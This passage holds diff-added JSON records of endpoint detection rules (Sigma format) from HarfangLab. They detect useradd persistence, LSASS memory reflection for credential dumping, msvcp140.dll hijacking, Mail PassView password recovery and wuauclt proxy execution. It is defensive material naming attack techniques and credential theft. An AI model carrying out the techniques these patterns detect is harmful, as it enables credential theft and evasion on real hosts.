+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "00ecf213-801a-4ee0-b19d-fbe12001d4a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.719555Z",
+  "creation_date": "2026-03-23T11:45:34.612526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612534Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/",
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_001_useradd_linux.yml",
+  "content": "title: User Created via useradd\nid: 00ecf213-801a-4ee0-b19d-fbe12001d4a3\ndescription: |\n    Detects an attempt to create a new user using the useradd utility.\n    Adversaries may create new users to hide their activity or achieve persistence.\n    It is recommended to investigate whether the process has legitimate reasons to create a user as well as to look for possible suspicious activities on the host.\nreferences:\n    - https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.AccountManipulation\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/useradd'\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_rpm:\n        - ProcessParentCommandLine|startswith: '/bin/sh /var/tmp/rpm-tmp.'\n        - ProcessGrandparentCommandLine|startswith: '/bin/sh /var/tmp/rpm-tmp.'\n\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n\n    # This command is different on debian distros\n    exclusion_nxlog_redhat:\n        ProcessCommandLine: 'useradd -r -g nxlog -d /var/spool/nxlog -s /sbin/nologin -c user for the nxlog log managment tool nxlog'\n\n    exclusion_ossec:\n        ProcessParentImage: '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_puppet:\n        ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_aws:\n        ProcessCommandLine: '/bin/bash /var/lib/cloud/instance/scripts/part-001'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_edutice:\n        # useradd -p <ANONYMIZED> -s /bin/bash -b /home/external -g edutice-external -m <ANONYMIZED> --badname\n        - ProcessCommandLine|contains: ' -g edutice-external '\n          ProcessGrandparentCommandLine: '/usr/bin/python3 /usr/lib/edutice/service/main.py'\n        - ProcessCommandLine|contains: ' -g edutice-external '\n          ProcessParentCommandLine: '/usr/bin/python3 /usr/lib/edutice/service/main.py'\n\n    exclusion_containers:\n        Ancestors|contains:\n            - '/usr/bin/podman'\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "00ecf213-801a-4ee0-b19d-fbe12001d4a3",
+  "rule_name": "User Created via useradd",
+  "rule_description": "Detects an attempt to create a new user using the useradd utility.\nAdversaries may create new users to hide their activity or achieve persistence.\nIt is recommended to investigate whether the process has legitimate reasons to create a user as well as to look for possible suspicious activities on the host.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "00ff5814-36a0-4bb9-8426-599b30b414a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094659Z",
+  "creation_date": "2026-03-23T11:45:34.094661Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094665Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/deepinstinct/Dirty-Vanity",
+    "https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1003_001_lsass_clone_using_process_reflection.yml",
+  "content": "title: Possible LSASS Reflection via Windows Fork API\nid: 00ff5814-36a0-4bb9-8426-599b30b414a1\ndescription: |\n    Detects the reflection of a Windows process using the Windows fork API.\n    Attackers can use process forking to inject processes with shellcodes while evading detection since the modified process is the cloned one.\n    This technique can be used to hide malicious tasks inside legitimate processes as well as silently dump LSASS' memory for credential access and privilege escalation.\n    It is recommended to investigate the process that performed this action to determine its legitimacy.\nreferences:\n    - https://github.com/deepinstinct/Dirty-Vanity\n    - https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/01/04\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        StartFunction|contains: 'RtlCreateProcessReflection'\n\n    exclusion_werfault:\n        ProcessImage:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\syswow64\\WerFault.exe'\n        ProcessParentCommandLine: '?:\\Windows\\System32\\svchost.exe -k WerSvcGroup'\n\n    exclusion_rdrleakdiag:\n        # C:\\WINDOWS\\system32\\RdrLeakDiag.exe -p 10768 -h 25 -tp 2 -cleanup -watson -unnamed -wait 240\n        ProcessImage:\n            - '?:\\Windows\\System32\\rdrleakdiag.exe'\n            - '?:\\Windows\\syswow64\\rdrleakdiag.exe'\n        ProcessCommandLine|contains|all:\n            - 'RdrLeakDiag.exe'\n            - '-cleanup'\n            - '-watson'\n            - '-unnamed'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "00ff5814-36a0-4bb9-8426-599b30b414a1",
+  "rule_name": "Possible LSASS Reflection via Windows Fork API",
+  "rule_description": "Detects the reflection of a Windows process using the Windows fork API.\nAttackers can use process forking to inject processes with shellcodes while evading detection since the modified process is the cloned one.\nThis technique can be used to hide malicious tasks inside legitimate processes as well as silently dump LSASS' memory for credential access and privilege escalation.\nIt is recommended to investigate the process that performed this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-01-04",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01198d94-cc61-455c-9bd1-37096dd366f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623301Z",
+  "creation_date": "2026-03-23T11:45:34.623303Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623307Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657",
+    "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_unsigned_msvcp140.yml",
+  "content": "title: Unsigned msvcp140.dll DLL Loaded\nid: 01198d94-cc61-455c-9bd1-37096dd366f1\ndescription: |\n    Detects a suspicious unsigned DLL named 'msvcp140.dll' loaded by a process that could be the target to DLL hijacking.\n    Adversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the process loading the DLL to identify any suspicious activity, as well as to analyze the DLL itself for malicious content.\nreferences:\n    - https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657\n    - https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/07/23\nmodified: 2026/02/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\msvcp140.dll'\n        sha256|contains: '?' # at least one character, some SHA256 are empty\n\n    filter_signed:\n        Signed: 'true'\n\n    filter_commonfolders:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\System32\\DriverStore\\'\n            - '?:\\Windows\\System32\\msvcp140.dll'\n            - '?:\\Windows\\syswow64\\msvcp140.dll'\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    filter_known_sha256:\n        sha256:\n            - '1e57a6df9e3742e31a1c6d9bff81ebeeae8a7de3b45a26e5079d5e1cce54cd98'\n            - 'f7ba518cb961853ec35c7bb159054983fc006fdfbb6b1c360720eb52fefb3d38'\n            - 'b7278da3da769bff80ecf19d0f36ad1716da7f6c77f625c08d185ad302b200d0'\n            - 'ef27a68bdc1ee3d5d9a6a720b656bfb7604a8fac6aceb245a6eadc2788686d9f'\n            - '557d76338488e28c7761dfe5ee4fa722f65f0c945563002e86de09c95f02b2aa'\n            - '75fc76655631a4ae72d015b8e85f899537c603661ca35a3f29099b8e4c84716c'\n            - '74892d9b4028c05debaf0b9b5d9dc6d22f7956fa7d7eee00c681318c26792823'\n            - '87a9e61e428632177c0292390d125da8e5c996cc0d1d619045ee041ce3bd9147'\n            - '9e16ea4679e3c5780b2fdeea251e258bef968631137a40f93fcad6ee551108df'\n            - 'd3151f653af88d88994dd66e30e3a184ba347e57a7c3ca909c2a9d4b5b6084fc'\n            - '875f236424f59a82c9311930097c7e6073242fee66a60c38eec79b827d6e924c'\n            - '006a73b6c5b31cc85974873a694e81e3d213ec493323b04607bcdaba0d6115eb'\n            - '85aa8c8ab4cbf1ff9ae5c7bde1bf6da2e18a570e36e2d870b88536b8658c5ba8'\n            - '115327d2c7fe87aa39a32bf3fd27e3cff32b9f4bb80f31e426b30148820aa220'\n            - 'b9e8377a03ef104122a416f968b05133739f2f2a6c4b83c190723d7d780ebad3'\n            - 'c09b126e7d4c1e6efb3ffcda2358252ce37383572c78e56ca97497a7f7c793e4'\n            - '65ee0e7864cc6b2d8fd81b4cdf32bc900b74fdf04149587a8987f11f57966c86'\n            - 'e7f59bc871613f960e61aa111ceb2f6de0650f79878d9e2141c646a51bdf97b0'\n            - '8bd47bbc5cf773fa44ba38a20dbd3353970353cb99eda9238e4af92383fab8f9'\n\n    filter_knownimphash:\n        Imphash:\n            - '2ba11fd5a511c8a409e705e9ab6b5dc1'\n            - 'adf99b9ea3a1f76c33522f96772bc4dd'\n            - 'a14a54183892ac75415d5e2bb2ac7208'\n            - '01c801a34c4715440ef1f25ad689b315'\n            - '54c174302c3213f3e59e692f8b5c58e5'\n            - 'f2d585ff96afa3a77e09f5b37e7b3230'\n            - 'c0e775d13a8146396b3de4dc441694a7'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_spool:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\msvcp140.dll'\n\n    exclusion_java: # too many java process with unpredictable name..\n        ImageLoaded|endswith: '\\bin\\msvcp140.dll'\n\n    exclusion_zotero:\n        ProcessImage|endswith: '\\Zotero*\\zotero.exe'\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Zotero\\msvcp140.dll'\n\n    exclusion_ideashare:\n        ProcessImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\IdeaShare\\IdeaShare.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\IdeaShare\\IdeaShareService.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\IdeaShareKey\\IdeaShareService.exe'\n            - '?:\\ProgramData\\IdeaShare\\IdeaShare.exe'\n        ImageLoaded:\n            - '?:\\Users\\\\*\\AppData\\Local\\IdeaShareKey\\msvcp140.dll'\n            - '?:\\Users\\\\*\\AppData\\Local\\IdeaShare\\msvcp140.dll'\n            - '?:\\ProgramData\\IdeaShare\\msvcp140.dll'\n\n    exclusion_werfault:\n        ProcessImage:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\system32\\WerFault.exe'\n\n    exclusion_teams:\n        - ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\n          ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Teams\\current\\msvcp140.dll'\n        - ProcessName: 'regsvr32.exe'\n          ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\TeamsMeetingAddin\\\\*\\\\*\\msvcp140.dll'\n\n    exclusion_onedrive:\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\\\*\\msvcp140.dll'\n        ProcessImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\\\*\\Microsoft.SharePoint.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\\\*\\FileSyncConfig.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\\\*\\FileCoAuth.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\OneDrive\\\\*\\OneDriveLauncher.exe'\n\n    exclusion_sap:\n        ProcessImage|endswith: '\\DATA_UNITS\\CrystalReports\\setup.engine\\actionagentproc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SAP SE'\n\n    exclusion_sonix:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k Camera -s FrameServer'\n        ImageLoaded: '?:\\Windows\\System32\\SONiX\\msvcp140.dll'\n\n    exclusion_cisco:\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\\\*\\dependencies\\msvcp140.dll'\n        ProcessImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\\\*\\dependencies\\wmlhost.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\CiscoCollabHost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01198d94-cc61-455c-9bd1-37096dd366f1",
+  "rule_name": "Unsigned msvcp140.dll DLL Loaded",
+  "rule_description": "Detects a suspicious unsigned DLL named 'msvcp140.dll' loaded by a process that could be the target to DLL hijacking.\nAdversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the process loading the DLL to identify any suspicious activity, as well as to analyze the DLL itself for malicious content.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2026-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "01474426-6a8b-4834-9f6f-54b7c359a027",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077917Z",
+  "creation_date": "2026-03-23T11:45:34.077919Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077924Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.nirsoft.net/utils/mailpv.html",
+    "https://attack.mitre.org/techniques/T1555/"
+  ],
+  "name": "t1555_mail_passview_execution.yml",
+  "content": "title: Mail PassView Execution\nid: 01474426-6a8b-4834-9f6f-54b7c359a027\ndescription: |\n    Detects the execution of Mail PassView, a NirSoft utility allowing users to retrieve passwords from many mail clients.\n    It can be used by attackers to get the mail passwords in an infected hosts.\n    It is recommended to investigate the actions that were performed by Mail PassView as well as Mail PassView's execution context to determine its legitimacy.\nreferences:\n    - https://www.nirsoft.net/utils/mailpv.html\n    - https://attack.mitre.org/techniques/T1555/\ndate: 2025/10/31\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.MailPassView\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\mailpv.exe'\n        # No OrginalFilename, we have to rely on another PE field\n        # The two spaces are intentional\n        - Product: 'Email  Password-Recovery'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "01474426-6a8b-4834-9f6f-54b7c359a027",
+  "rule_name": "Mail PassView Execution",
+  "rule_description": "Detects the execution of Mail PassView, a NirSoft utility allowing users to retrieve passwords from many mail clients.\nIt can be used by attackers to get the mail passwords in an infected hosts.\nIt is recommended to investigate the actions that were performed by Mail PassView as well as Mail PassView's execution context to determine its legitimacy.\n",
+  "rule_creation_date": "2025-10-31",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "016b5935-600b-4242-91e1-e727c9410d11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070359Z",
+  "creation_date": "2026-03-23T11:45:34.070361Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070365Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_wuauctl.yml",
+  "content": "title: Proxy Execution via Wuauclt\nid: 016b5935-600b-4242-91e1-e727c9410d11\ndescription: |\n    Detects the execution of wuauclt.exe as a legitimate binary proxy for System Binary Proxy Execution.\n    Malicious actors may exploit wuauclt.exe to execute arbitrary DLLs, evading detection by leveraging trusted system binaries.\n    It is recommended to investigate the process and parameters of wuauclt.exe execution, analyze the DLL for malicious content, and ensure that any executed code aligns with legitimate system operations.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/11/17\nmodified: 2025/02/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Wuauclt\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\wuauclt.exe'\n        - OriginalFileName: 'wuauclt.exe'\n\n    selection_commandline:\n        CommandLine|contains|all:\n            - 'UpdateDeploymentProvider'\n            - 'RunHandlerComServer'\n\n    exclusion_legitimate:\n        CommandLine|contains:\n            - ' UpdateDeploymentProvider.dll '\n            - ' wuaueng.dll '\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "016b5935-600b-4242-91e1-e727c9410d11",
+  "rule_name": "Proxy Execution via Wuauclt",
+  "rule_description": "Detects the execution of wuauclt.exe as a legitimate binary proxy for System Binary Proxy Execution.\nMalicious actors may exploit wuauclt.exe to execute arbitrary DLLs, evading detection by leveraging trusted system binaries.\nIt is recommended to investigate the process and parameters of wuauclt.exe execution, analyze the DLL for malicious content, and ensure that any executed code aligns with legitimate system operations.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2025-02-20",
+  "rule_os": "windows",
+  "rule_status": null,
